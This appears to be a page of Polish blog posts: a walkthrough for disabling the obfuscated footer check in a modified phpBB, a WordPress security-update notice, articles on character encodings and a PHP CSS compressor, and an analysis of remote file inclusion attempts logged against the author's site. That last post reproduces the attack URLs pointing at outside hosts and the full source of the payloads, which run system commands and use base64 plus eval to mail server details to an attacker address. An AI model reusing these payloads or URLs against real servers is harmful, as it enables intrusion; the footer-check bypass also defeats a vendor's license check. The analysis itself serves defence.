Page 13 of 16

usuwanie stopki phpbb by przemo

usuwanie stopki phpbb by przemo

Żaden ze znanych skryptów nie blokuje zmiany stopki ani jej usunięcia oprócz phpbb by przemo. Usunięcie stopki jest możliwe oraz jej modyfikacje.
Lecz tutaj po zmianie stopki wyświetla się komunikat i jakby tego mało wysyła email do przema… To nie jest instrukcja typu zrób to i tamto !

Jak jest wyświetlana stopka ?

Zaczynamy od tego iż stopka jest wyświetlana z pliku overall_footer.tpl za pomocą zmiennej stylu: {PAGE_LOAD_PLEASE_WAIT} (w uproszczonej stopce simple_footer.tpl usunięcie lub zmiana stopki nie powoduje wyświetlenia ostrzeżenia).

I jakakolwiek modyfikacja stopki lub usunięcie powoduje wyświetlenie ostrzeżenia.

Stopka forum została zmodyfikowana, forum nie będzie działać prawidłowo!
Ustaw prawidłowo stopkę w pliku overall_footer.tpl, musi być ona widoczna w przegladarce, nie może zawierać “sztuczek” maskujacych.

Wzór: Powered by <a href="http://www.phpbb.com" target="_blank" class="copyright">phpBB</a> modified by <a href="http://www.przemo.org/phpBB2/" class="copyright" target="_blank">Przemo</a> &copy; 2003 phpBB Group

Lecz ostrzeżenie wyświetla się tylko podczas wysyłania postu lub prywatnej wiadomości, a za to odpowiada plik posting.php lub includes/functions_post.php.

Niestety na darmo możemy szukać zmiennej stylu {PAGE_LOAD_PLEASE_WAIT} w pliku includes/page_tail.php (odpowiada ona za generowanie stopki), ale znajdziemy ją w pliku includes/page_header.php (odpowiada za generowanie headera – topu forum):

'PAGE_LOAD_PLEASE_WAIT' => append_sid('<a href="index.'.$phpEx.'?mode=tloading">' . $lang['Page_loading_wait'] . '</a>'),

Więc szukamy funkcji append_sid, znajduje się w pliku includes/sessions.php

function append_sid($url, $non_html_amp = false, $subdir_off = false)
{
	global $SID, $subdirectory;
 
	if ( !empty($SID) && !preg_match('#sid=#', $url) )
	{
		$url .= ( ( strpos($url, '?') !== false ) ?  ( ( $non_html_amp ) ? '&' : '&amp;' ) : '?' ) . $SID;
	}
 
	if ( isset($subdirectory) && !$subdir_off )
	{
		$url = $subdirectory . $url;
	}
 
	$sid1 = base64_decode('aGFzaF8x');
	$sid_s = base64_decode('aGFzaF8y');
 
	global $$sid1, $$sid_s;
 
	return (strpos($url, base64_decode('bW9kZT10bG9hZGluZw==')) !== false) ? base64_decode(base64_decode(str_replace('si', '', $$sid1))) : ((strpos($url, base64_decode('bW9kZT1lbG9hZGluZw==')) !== false) ? base64_decode(base64_decode($$sid_s)) : $url);
}

Na pierwszy rzut oka coś związanego z adresami i ID sesji… lecz base64_decode() i do tego podwójne budzi ciekawość więc sprawdźmy i zdekodujmy:

$sid1 = hash_1;
$sid_s = hash_2;

Co ciekawsze hash_1 i hash_2 to zmienne globalne (zmienne bo należy zwrócić uwagę na dwa $$ przed nazwą):

global $$sid1, $$sid_s;

Więc tak naprawdę mamy:

global $hash_1, $hash_2;

a te zmienne znajdują się w pliku includes/constans.php:

// Forum unique hash
$hash_1 = 'VUc5M1pYSmxaQ0JpZVNBOFlTQm9jbVZtUFNKb2RIUndPaTh2ZDNkM0xuQm9jR0ppTG1OdmJTSWdkR0Z5WjJWMFBTSmZZbXhoYm1zaUlHsiTnNZWE56UFNKamIzQjVjbWxuYUhRaVBuQm9jRUpDUEM5aFBpQnRiMlJwWm1sbFpDQmllU0E4WVNCb2NtVm1QU0pvZEhSd09pOHZkM2QzTG5CeWVtVnRieTV2Y21jdmNHaHdRa0l5THlJZ1kyeGhjM005SW1OdmNIbHlhV2RvZENJZ2RHRnlaMlYwUFNKZllteGhibXNpUGxCeWVtVnRiend2WVQ0Z0ptTnZjSGs3SURJd01ETWdjR2h3UWtJZ1IzSnZkWEE9';
$hash_2 = 'UENFdExTQlFiM2RsY21Wa0lHSjVJSEJvY0VKQ0lHMXZaR2xtYVdWa0lIWXhMamtnWW5rZ2NISjZaVzF2SUNnZ2FIUjBjRG92TDNkM2R5NXdjbnBsYlc4dWIzSm5MM0JvY0VKQ01pOGdLU0F0TFQ0PQ==';

Następnie funkcja zwraca nam wartość ale zależną od tego co znajdzie w $url (należy najpierw pamiętać o usunięciu si w $hash_1):

return (strpos($url, 'mode=tloading') !== false) ? 'Powered by <a href="http://www.phpbb.com" target="_blank" class="copyright">phpBB</a> modified by <a href="http://www.przemo.org/phpBB2/" class="copyright" target="_blank">Przemo</a> © 2003 phpBB Group' : ((strpos($url, 'mode=eloading') !== false) ? '<!-- Powered by phpBB modified v1.9 by przemo ( http://www.przemo.org/phpBB2/ ) -->' : $url);

Oczywiście nas interesuje to co zwróci dla mode=tloading, a zwróci stopkę z $hash_1.

To już wiemy jak jest wyświetlana stopka.

Jak jest sprawdzana poprawność stopki ?

W pliku lang_main.php znajdziemy ostrzeżenie dotyczące stopki:

$lang['footer'] = 'Stopka forum została zmodyfikowana, forum nie będzie działać prawidłowo!<br />Ustaw prawidłowo stopkę w pliku overall_footer.tpl, musi być ona widoczna w przegladarce, nie może zawierać "sztuczek" maskujacych.<br /><br />Wzór: <b>Powered by &lt;a href=&quot;http://www.phpbb.com&quot; target=&quot;_blank&quot; class=&quot;copyright&quot;&gt;phpBB&lt;/a&gt; modified by &lt;a href=&quot;http://www.przemo.org/phpBB2/&quot; class=&quot;copyright&quot; target=&quot;_blank&quot;&gt;Przemo&lt;/a&gt; &amp;copy; 2003 phpBB Group</b>';

Skoro wiemy jak jest wyświetlana stopka i że ostrzeżenie pojawia się podczas pisania więc poszukajmy w pliku includes/functions_post.php naszej znajomej zmiennej:

$$sid1

Zaprowadzi nas to do funkcji correct_file() lecz zacznijmy od początku:

//code to get rid of some quick-reply-mod problems
	$crf = base64_decode('Y29ycmVjdF9maWxl');

po zdekodowaniu wywołuje funkcję correct_file:

$crf = correct_file;

Lecz następnie jest losowana liczba z pewnego przedziału:

$cr_file = rand(4,8);

Wiec szukamy co korzysta ze zmiennej $cr_file:

if ( $cr_file == 5 ) @$crf(false);

Jeśli wylosuje się 5 to stopka nie zostanie sprawdzona.

Funkcja correct_file()

function correct_file($file = true)
{
	global $board_config, $phpEx, $lang;
 
	$server_name = preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['server_name']));
	$btf = base64_decode('bWFpbA==');
	$script_name = preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['script_path']));
	$script_name = ($script_name == '') ? $script_name. '/login.'.$phpEx : '/' . $script_name. '/login.'.$phpEx;
	$server_protocol = ($board_config['cookie_secure']) ? 'https://' : 'http://';
	$server_port = trim($board_config['server_port']);
 
	$sid1 = base64_decode('aGFzaF8x');
 
	global $$sid1;
	$$sid1 = str_replace('si', '', $$sid1);
	$cont = get_url($server_name, $script_name, trim($board_config['server_port']));
	$cont = $cont[1];
	$th_ch = base64_decode(base64_decode($$sid1));
	if ( @eregi('username', $cont) && @eregi('password', $cont) )
	{
		$lmk = false;
		if ( !($pos = @strpos($cont, $th_ch)) || !(@strpos($$sid1, 'NJZ2RHRnlaMlYwUFNKZllteGhibXNpUGxCeWVtVnRiend2WVQ0Z')) || !(@strpos($$sid1, 'xuYUhRaVBuQm9jRUpDUEM5aFBpQnRiMlJwWm1sbFpDQmllU0E4WVNCb2NtVm1QU0pvZEhSd09pOHZkM2QzTG5CeWVtVnRieTV2Y21jdmNHaHdRa0l5TH')) )
		{
			$lmk = true;
		}
		$first = @str_replace(' ', '', @substr($cont, $pos-20, 20));
		$second = @str_replace(' ', '', @substr($cont, $pos+@strlen($th_ch)-1, 20));
		if ( @strpos($first, base64_decode('IS0t')) || @strpos($first, base64_decode('PGZvbg==')) || @strpos($first, base64_decode('aGlkZQ==')) || @strpos($first, base64_decode('aGlkZGU=')) || @strpos($second, base64_decode('LS0=')) || @strpos($second, base64_decode('L2Zvbg==')) )
		{
			$lmk = true;
		}
		if ( $lmk )
		{
			$th_d = base64_decode(base64_decode('Wm05dmRHVnk='));
			if ( @strpos($th_d, base64_decode(base64_decode('SEE2THk5M2QzY3VjSEo2WlcxdkxtOXla'))) ) exit;
			if ( @function_exists($btf) && $board_config['data'] < (CR_TIME - 432000) ) { @$btf(base64_decode('c3RvcGthQHByemVtby5vcmc='), base64_decode('LVNUT1BLQS0=-'), $server_protocol . $server_name . $server_port . '/' . preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['script_path'])) . "\r\n" . $board_config['board_email']); update_config('data', CR_TIME); }die($lang[$th_d]);
		}
	}
	return true;
}

Wiec po kolei, zmienna $btf

$btf = mail;

(jakby nie patrzeć będzie wysyłany email)
Odniesienie do naszego wzorcu stopki:

$sid1 = hash_1;

Potem z naszego wzoru stopki usuwane są frazy si oraz nasz wzorzez jest dwa razy dekodowany i otrzymujemy:

$th_ch = 'Powered by <a href="http://www.phpbb.com" target="_blank" class="copyright">phpBB</a> modified by <a href="http://www.przemo.org/phpBB2/" class="copyright" target="_blank">Przemo</a> © 2003 phpBB Group';

I co ciekawe jest pobierana treść strony logowania i jeśli znajdą sie tam dwie frazy password oraz username to tylko wtedy sprawdzana jest poprawność stopki.

Następnie sprawdzane jest czy znajduje się tam cała stopka według wzorca oraz czy wzorzec jest zgodny z porównaniem, jeśli nie to wysyłany jest email do przema i zostaje wyświetlone ostrzeżenie.

Dodatkowo sprawdzane są sztuczki maskujące (komentowanie stopki, jak i znacznik oraz hidden w CSS) takim if-em, jeśli zostaną znalezione w pobliżu stopki także wyświetlane jest ostrzeżenie i wysłany zostaje email do przema:

if ( @strpos($first, '!--') || @strpos($first, '<fon') || @strpos($first, 'hide') || @strpos($first, 'hidde') || @strpos($second, '--') || @strpos($second, '/fon') )

Oczywiście wysyłanie maila wygląda tak:

$th_d = footer;
			if ( @function_exists(mail) && $board_config['data'] < (CR_TIME - 432000) ) { 
@mail('stopka@przemo.org', '-STOPKA-', $server_protocol . $server_name . $server_port . '/' . preg_replace('#^\/?(.*?)\/?$#', '\1', trim($board_config['script_path'])) . "\r\n" . $board_config['board_email']); 
update_config('data', CR_TIME); 
}
die($lang[$th_d]);

I po wysłaniu maila wyświetlane jest ostrzeżenie:

die('footer');

Wszystko jest wysyłane na email……………….

Jak wyłączyć sprawdzanie stopki ?

W pliku overall_footer.tpl zmieniamy:

{PAGE_LOAD_PLEASE_WAIT}

na:

<br><a href="http://www.phpbb.com" target="_blank" class="copyright">phpBB</a> &amp; <a href="http://www.przemo.org/phpBB2/" target="_blank" class="copyright">Przemo</a>

W pliku includes/functions_post.php znajdź:

$crf = base64_decode('Y29ycmVjdF9maWxl');

zamień na:

//$crf = base64_decode('Y29ycmVjdF9maWxl');

znajdź:

$cr_file = rand(4,8);

zamień na:

//$cr_file = rand(4,8);

znajdź:

if ( $cr_file == 5 ) @$crf(false);

zamień na:

//if ( $cr_file == 5 ) @$crf(false);

To wszystko, nigdzie więcej stopka nie jest sprawdzana lecz nie jestem w stanie tego zagwarantować iż jakieś maile nie są jeszcze wysyłane.

Jak usunąć stopkę phpbb by przemo – prostszy sposób

Aby usunąć stopkę wystarczy zaingerować w plik: includes/sessions.php, otwieramy go
Szukamy funkcji append_sid

function append_sid

Następnie trochę niżej linijek:

$sid1 = base64_decode('aGFzaF8x');
	$sid_s = base64_decode('aGFzaF8y');
 
	global $$sid1, $$sid_s;
 
	return (strpos($url, base64_decode('bW9kZT10bG9hZGluZw==')) !== false) ? base64_decode(base64_decode(str_replace('si', '', $$sid1))) : ((strpos($url, base64_decode('bW9kZT1lbG9hZGluZw==')) !== false) ? base64_decode(base64_decode($$sid_s)) : $url);

Zmieniamy je na:

return $url;

Bardzo proste, od teraz stopka nie będzie się wyświetlała ze zmiennej {PAGE_LOAD_PLEASE_WAIT}, dlatego należy pamiętać by usunąć sprawdzanie stopki.

Zapomniałem napisać ale dzięki temu (wyłączeniu sprawdzania stopki) zwiększa się szybkość wysyłania postów!

wordpress 2.8.4 poprawka bezpieczeństwa

wordpress 2.8.4 poprawka bezpieczeństwa

Poprawka poprawki, coś ostatnio nie mogą przestać…

Wczoraj odkryto lukę: specjalnie spreparowany adres URL może być wywołany, co pozwoli atakującemu na ominięcie zabezpieczeń w celu potwierdzenia prośby o przypomnienie hasła. W wyniku, pierwsze konto bez klucza w bazie danych (zwykle jest to konto administratora) jego hasło zostaje zresetowane i nowe hasło zostanie wysłane e-mailem na konto właściciela. To nie pozwala na zdalny dostęp, ale to jest bardzo denerwujące.

Ustaliliśmy ten problem ostatniej nocy, zostały przetestowane poprawki i szukamy innych problemów, od tamtego czasu. Po adresem: http://wordpress.org/download/ znajduje się Wersja 2.8.4, która naprawia wszystkie aktualnie znane problemy jest już dostępna do pobrania i jest wysoce zalecana dla wszystkich użytkowników WordPress.

Oryginalny wpis Matt Mullenweg:

Yesterday a vulnerability was discovered: a specially crafted URL could be requested that would allow an attacker to bypass a security check to verify a user requested a password reset. As a result, the first account without a key in the database (usually the admin account) would have its password reset and a new password would be emailed to the account owner. This doesn’t allow remote access, but it is very annoying.

We fixed this problem last night and have been testing the fixes and looking for other problems since then. Version 2.8.4 which fixes all known problems is now available for download and is highly recommended for all users of WordPress.

polskie znaki diakrytyczne

polskie znaki diakrytyczne w różnych kodowaniach

Znaki diakrytyczne to nic innego jak popularnie nazwane polskie znaki (znaki specjalne spoza zestawu ASCII).

I dlatego aby poprawnie je wyświetlić to najpierw muszą być zapisane w odpowiednik kodowaniu a następnie odczytane w tym samym kodowaniu w jakim zostały zapisane. Kodowanie to musi obsługiwać polskie znaki.

Kodowanie – jest to określony sposób (standard) zapisu znaków oraz odczytywania wg. określonych reguł.
Prościej, przykładowo zapisujesz znak ś w kodowaniu ISO-8859-2 wiec wedle tego kodowania znak ś zostaje zapisany jako , ponieważ w ten sposób to kodowanie obsługuje polskie znaki. Przy odczycie tego znaku przy użyciu kodowania w jakim zostało zapisane (w tym wypadku ISO-8859-2) zostanie wyświetlony prawidłowy znak.

Można odróżnić kodowania jednobajtowe jak i wielobajtowe. Różnią się tylko tym iż znakom spoza ASCII przypisane jest 1 znak (1bajt) lub wiele np. 2 bajty. Przykładowo znak ś w kodowaniu jedno bajtowym ISO-8859-2 oraz w dwóch bajtach w kodowaniu UTF-8:
ISO-8859-2
UTF-8

Jakiego kodowania używać ?

UTF-8 – dlatego iż obsługuje bardzo wiele języków jak i niezliczoną ilość znaków specjalnych. Dlatego jest najbardziej uniwersalnym kodowaniem i najwygodniejszym.
Co do znaków specjalnych, dzięki użyciu UTF-8 na tej stronie można uzyskać taki efekt: ʞǝısoʇ

Jak ustawić określone kodowanie ?

Zawsze należy zacząć od zapisania pliku z określonym kodowaniem. Następnie należy pamiętać by ustawić właściwe kodowanie do odczytu tego dokumentu.

Ustawianie kodowania w HTML

Ustawiamy znacznik meta Content-Type w sekcji który wygląda tak:

<meta http-equiv="Content-Type" content="text/html;charset=utf-8">

Gdzie utf-8 to kodowanie w jakim dokument ma zostać odczytany.
Bez prawidłowego zapisania nie zostanie poprawnie odczytany.

Przykładowy plik html z ustawionym kodowaniem utf-8:

<!DOCTYPE html>
<html>
	<head>
		<meta http-equiv="content-type" content="text/html;charset=utf-8">
	</head>
	<body>
		<h1>To jest dokument HTML odczytywany w kodowaniu utf-8</h1>
	</body>
</html>

Ustawianie kodowania w XHTML

Ustawianie kodowania w PHP

compress CSS code – compressor

compress CSS code – compressor

Kompresja kodu CSS, gotowa funkcja PHP która za pomocą wyrażeń regularnych usuwa zbędne znaki z kaskadowego arkusza stylów – CSS tym samym zmniejszając jego rozmiar, co prowadzi do szybszego wczytania strony (stylów) jak i zmniejszenia zużycia transferu (należy pamiętać że plik ze stylem jest wczytywany z każdym żądaniem przeglądarki, dlatego nawet mała różnica rozmiaru ma znaczenie)

Działanie można przetestować na: Kompresja CSS

Aktualnie funkcja usuwa wszystko co nie potrzebne, zachowuje składnię CSS. Dzięki zachowaniu składni arkusz po kompresji będzie działał prawidłowo.

Aktualnie usuwane zbędne rzeczy takie jak:

  • Tabulatory – TAB – 0×09 (\t, \x09)
  • Tabulator Pionowy – vertical tab – 0×0B (\x0B)
  • Znak nowej linii – 0×0A (\n, \x0A)
  • Znak powrotu karetki – 0×0D (\r, \x0D)
  • Puste znaki – 0×00 (\0, \x00)
  • Każdą podwójną spację (i więcej np. 3, 4 i tak dalej) 0×20 0×20 – (\x20\x20)
  • Każdą pojedynczą spację, lecz tylko w wybranych i dozwolonych miejscach (zmienna $char_css)
  • Wszystkie komentarze
  • Skraca kolory o ile to możliwe w zapisie HEX z np. z #aaffaa na #afa
  • Usuwa średnik z ostatniej reguły, ponieważ jest zbędny

Zostało dodane usuwanie zbędnych spacji po znaku @ (małpa) oraz zmiana tabulatorów od jednego w górę na pojedynczą spację, oraz zamiana spacji od dwóch w górę na jedną

function compress_css($css_code) {
/*********************
//
//Compress CSS by tosiek - https://tosiek.pl/
//
*********************/
//Special CSS characters after and before the spaces are removed
//do not use ')' !!! - this causes a bug in Internet Explorer
	$char_css='{|}|(|;|:|,|\'|"|@';
	//pattern to shortening hex colour
	$hex_char='[a-f0-9]';
	//
	// Arrays
	//
	//array with pattern
	$pattern=array(
		//new lines(\n and \r)
		"/\x0A/","/\x0D/",
		//vertical tab and tab
		"/\x0B/","/\x09{1,}/",
		//NULL bytes (\0)
		"/\\x00/",
		//double spaces and more, more
		"/\x20{2,}/",
		//remove spaces with $char_css, after and before
		"/([{$char_css}]+)\x20/","/\x20([{$char_css}]+)/",
		//remove all comments
		"!/\*[^*]*\*+([^/][^*]*\*+)*/!",
		//short hex colour
		"/#({$hex_char})\\1({$hex_char})\\2({$hex_char})\\3/i",
		//remove last ';'
		"/;}/",
	);
	//array with replacement
	$replacement=array(
		//new lines(\n and \r)
		'','',
		//vertical tab and tab
		'',"\x20",
		//NULL bytes (\0)
		'',
		//double spaces and more, more
		"\x20",
		//remove spaces with $char_css, after and before
		'$1','$1',
		//remove all comments
		'',
		//short hex colour
		'#\1\2\3',
		//remove last ';'
		"}",
	);
	// strlen() before compress
	$start=strlen($css_code);
	//Compress CSS with regular expressions
	$replace=preg_replace($pattern,$replacement,$css_code,-1);
	// strlen() after compress
	$final=strlen($replace);
	//counts the difference in characters
	$exhed=$start-$final;
	//counts the difference in percentages
	$compression=round(($exhed)/$start*100,2);
	//Return compress CSS code with info (comment) in new line
	return $replace."\n".'/* Poczatkowy rozmiar: '.$start.' bajtow; Po kompresji: '.$final.' bajtow; Zmniejszono o: '.$exhed.' bajtow ('.$compression.'% procent) */';
}

przykładowe wykorzystanie z użyciem pliku style.css:

<?php
$style = file_get_contents(dirname(__FILE__).'style.css');
$style = compress_css($style);
echo $style;
?>

Podany powyżej kod po wywołaniu go, wyświetli nam skompresowany kod z pliku style.css wraz z informacją o rozmiarze przed i po kompresji oraz oszczędności w procentach.

/* Poczatkowy rozmiar: 37 bajtow; Po kompresji: 14 bajtow; Zmniejszono o: 23 bajtow (62.16% procent) */

Przykładowy kod przed kompresją (należy zwrócić uwagę na niewidoczne znaki takie jak spacje, tabulatory i przejścia do nowych linii – entery)

	*  {
margin:   0		 6;
  }

Oraz po kompresji:

*{margin:0 6}
/* Poczatkowy rozmiar: 37 bajtow; Po kompresji: 13 bajtow; Zmniejszono o: 24 bajtow (64.86% procent) */

haker, cracker, kraker, hacker

haker, hacker, kraker, cracker

Prawie jak jeden chuj, podobno prawie robi wielką różnice… podobno to takie względne…

nurtujący tytuł… Kolejne ciekawe wirusowe skrypty, lub tylko avast świruje.

//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=

Takim zapytaniem ktoś próbował coś zdziałać:
//administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.cimagro.com.ar///administrator/components/com_virtuemart/id.txt?
Avast rozpoznaje jako: PHP:Agent-J [Trj] – Koń Trojański – infekuje cache przeglądarki: _CACHE_, _CACHE_001_ itp.

Cały ko źródłowy z pliku id.txt:

<?php
 
//Coracore Response
$pwd1 = @getcwd();
$un = @php_uname();
$os = @PHP_OS;
$id1 = ex("id");
if (empty($id1)) {
	$id1 = @get_current_user();
}
$sof1 = @getenv("SERVER_SOFTWARE");
$php1 = @phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = @gethostbyname($SERVER_ADDR);
$free1 = @diskfreespace($pwd1);
$all1 = disk_total_space($pwd1);
$used = ConvertBytes($all1 - $free1);
$free = ConvertBytes(@diskfreespace($pwd1));
if (!$free) {
	$free = 0;
}
$all = ConvertBytes(@disk_total_space($pwd1));
if (!$all) {
	$all = 0;
}
if (@is_writable($pwd1)) {
	$perm = "[W]";
} else {
	$perm = "[R]";
}
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
	$sf = "ON";
} else {
	$sf = "OFF";
}
 
echo "Coracore" . $sf . "<br>";
echo "uname -a:	$un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "pwd: $pwd1<br>";
echo "php: $php1<br>";
echo "software:	$sof1<br>";
echo "srvip: $ip1<br>";
echo "srvname: $name1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all $perm<br>";
 
function ConvertBytes($number) {
	$len = strlen($number);
	if ($len < 4) {
		return sprintf("%d b", $number);
	}
	if ($len >= 4 && $len <= 6) {
		return sprintf("%0.2f Kb", $number / 1024);
	}
	if ($len >= 7 && $len <= 9) {
		return sprintf("%0.2f Mb", $number / 1024 / 1024);
	}
	return sprintf("%0.2f Gb", $number / 1024 / 1024 / 1024);
}
 
function ex($cfe) {
	$res = '';
	if (!empty($cfe)) {
		if (function_exists('exec')) {
			@exec($cfe, $res);
			$res = join("\n", $res);
		} elseif (function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		} elseif (function_exists('system')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif (function_exists('passthru')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif (@is_resource($f = @popen($cfe, "r"))) {
			$res = "";
			while (!@feof($f)) {
				$res .= @ fread($f, 1024);
			}
			@pclose($f);
		} else {
			$res = "NULL";
		}
	}
	return $res;
}
?>
<?php
 
$lmge = "JGNyZWF0b3I9YmFzZTY0X2RlY29kZSgiWm5Jek0zTm9NMnhzUUdkdFlXbHNMbU52YlE9PSIpOw0KKCRzYWZlX21vZGUpPygkc2FmZXo9Ik9OIik6KCRzYWZlej0iT0ZGX0hFSEUiKTsNCiRiYXNlPSJodHRwOi8vIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107IA0KJG5hbWUgPSBwaHBfdW5hbWUoKTsgJGlwID0gZ2V0ZW52KCJSRU1PVEVfQUREUiIpOyAkaXAyID0gZ2V0aG9zdGJ5YWRkcigkX1NFUlZFUltSRU1PVEVfQUREUl0pOyAkc3ViaiA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgDQokbXNnID0gIlxuQkFTRTogJGJhc2VcbnVuYW1lIGE6ICRuYW1lXG5CeXBhc3M6ICRieXBhc3NlclxuSVA6ICRpcFxuSG9zdDogJGlwMiAkcHdkcyI7DQokZnJvbSA9IkZyb206ICIuJHdyaXQuIl9fXz0iLiRzYWZlei4iPHRvb2xAIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIj4iOw0KbWFpbCggJGNyZWF0b3IsICRzdWJqLCAkbXNnLCAkZnJvbSk7";
eval(base64_decode($lmge));
exit;
?>

Zawartość zmiennej $lmge po zdekodowaniu (base64_decode) – oczywiście kod jest wykonywany przez eval():

$creator = base64_decode("ZnIzM3NoM2xsQGdtYWlsLmNvbQ==");
($safe_mode) ? ($safez = "ON") : ($safez = "OFF_HEHE");
$base = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$name = php_uname();
$ip = getenv("REMOTE_ADDR");
$ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]);
$subj = $_SERVER['HTTP_HOST'];
$msg = "\nBASE: $base\nuname a: $name\nBypass: $bypasser\nIP: $ip\nHost: $ip2 $pwds";
$from = "From: " . $writ . "___=" . $safez . "<tool@" . $_SERVER['HTTP_HOST'] . ">";
mail($creator, $subj, $msg, $from);

Zawartość zmiennej $creator po zdekodowaniu (base64_decode):
fr33sh3ll@gmail.com

?_SERVER[DOCUMENT_ROOT]=

Tym razem zapytanie wykorzystywało tablicę super / auto globalną $_SERVER a dokładniej: $_SERVER[DOCUMENT_ROOT] albo tylko mi się tak wydaje. Całe zapytanie:
?_SERVER[DOCUMENT_ROOT]=http://www.samjinenginc.com/board/readme.txt???

Avast rozpoznał jako: PHP:Small-B [Trj], zwartość readme.txt:

<?php
 
echo "Mic22";
$cmd = "id";
$eseguicmd = ex($cmd);
echo $eseguicmd;
 
function ex($cfe) {
	$res = '';
	if (!empty($cfe)) {
		if (function_exists('exec')) {
			@exec($cfe, $res);
			$res = join("\n", $res);
		} elseif (function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		} elseif (function_exists('system')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif (function_exists('passthru')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif (@is_resource($f = @popen($cfe, "r"))) {
			$res = "";
			while (!@feof($f)) {
				$res .= @ fread($f, 1024);
			}
			@pclose($f);
		}
	}
	return $res;
}
 
exit;

index2.php/administrator?mosConfig_absolute_path=

Całe zapytanie:
index2.php/administrator?mosConfig_absolute_path=http://www.inflightservice.se/sas/id.txt??

Avast alarmuje: PHP:Agent-K [Trj], Koń Trojański, – infekuje cache przeglądarki: _CACHE_, _CACHE_001_ itp.

Kod id.txt:

<?
 
echo "klepek_klepek<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "NigeriaN HackerS TeaM<br>";
exit;
?>

O co w tym chodzi…

Sam nie wiem, mogę tylko myśleć lecz nie odczuwam takiej potrzeby. Nigeryjscy hakerzy atakują.
Swoją drogą wszystko wykonane poprzez: libwww-perl/5.79

load_lang.php?_SERWEB[configdir]=

load_lang.php?_SERWEB[configdir]=

Takim o to zapytaniem ktoś próbował mi zhackować WordPressa a dokładniej:

/load_lang.php?_SERWEB[configdir]=http://for.caucasus.net/nit.txt??

Czyżby to była jakaś dziura w WordPress 2.8.2, spróbuję się dowiedzieć najpierw w rodzimym nieprzydanym języku potem pomęczę się z tłumaczeniem pytania to inglisz…

Wszystko z jednego IP: 67.215.229.226

Oczywiście jak najszybciej zaktualizowałem do 2.8.3, która jest wersją poprawiająca poprawki…

A co się znajdowało pod: http://for.caucasus.net/nit.txt

Otóż ciekawy i długi kod z którego można się wiele nauczyć. Tak pobieżnie: kasuje, robi kopie zapasową, wysyła co popadanie. przypomina to jakiegoś gotowca czy coś podobnego a no i wysyła wszystkie kopie plików na email.

jako że plugin do kolorowania składni wywala błąd 500 serwera to kod jest dostępny tu:
kod nit.txt Georgian hacker Nitrex
load_lang.php Remote File Inclusion Exploit to wiemy do czego skrypt jest

Nasz niedoszły hacker podpisuje się:

< ?
; – This Web Was Hacked And Rooted By Georgian Hacker Nitrex
?>;

Doszukując się dalszych powiązań:

person: Alexander Shakh-Nazarov
phone: +995 32 920000
e-mail: shakh@caucasus.net
nic-hdl: AS2778-RIPE
address: Caucasus Network
address: 42 Rustaveli ave.
address: Tbilisi, Georgia

Whois jednej z powiązanych domen.

I jeszcze trochę domen i skryptów:

http://www.geneseobeadstudio.com/safe.txt
http://www.geneseobeadstudio.com/cmd.txt
http://geocities.com/machinekill/cmd.txt
zhani-kalandadze.ge